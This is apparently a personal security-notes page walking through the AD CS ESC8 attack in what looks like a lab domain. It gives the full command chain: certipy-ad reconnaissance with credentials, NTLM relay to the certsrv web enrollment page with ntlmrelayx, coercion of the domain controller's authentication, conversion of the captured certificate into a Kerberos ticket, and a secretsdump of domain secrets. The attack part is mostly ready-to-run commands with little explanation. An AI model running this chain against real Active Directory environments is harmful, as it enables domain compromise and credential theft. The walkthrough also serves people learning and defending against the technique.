root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!

---

Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

---

AD_CS ESC8

---

• ESC8 (exposed certsrv)-:
• Recon with certipy-ad -:

certipy-ad find -u "jtrueblood" -p "blood_brothers" -dc-ip "10.1.57.249" -vulnerable -enabled

• Grepping for the vulnerable ADCS’s ESC which is ESC8 (web enrollment version exposed via http)-:

cat *.txt | grep "ESC"

• ESC8 is a vulnerability related to ADCS Web Enrollment. ADCS Web Enrollment is a feature that deploys a web server, enabling clients to request a certificate template. This web server supports NTLM authentication, making it susceptible to relay attacks. For this attack to succeed, you must know a valid template name to enroll in. Fortunately, ADCS comes with several default enabled templates that can be used, including ‘User,’ ‘Machine,’ and ‘DomainController.’ These templates are fairly self-explanatory: ‘User’ is for Domain Users, ‘Machine’ is for Domain Computers, and ‘DomainController’ is for Enterprise Domain Controllers.
• Exploiting with impacket-ntlmrelayx-:

impacket-ntlmrelayx -t http://10.1.57.249/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication

• Later, you have to use the printer bug to coerce authentication

nxc smb 10.1.57.249 -M coerce_plus -o LISTENER="10.200.88.20"

• Certificate for machine DC01$ received

• Convert to ticket grant ticket with pkinttools-:

python3 gettgtpkinit.py -cert-pfx DC01.shadow.gate.pfx -dc-ip 10.1.57.249 shadow.gate/dc01$ admin.ccache

• Dump secrets with impacket-secrets-dump

impacket-secretsdump -k -no-pass dc01.shadow.gate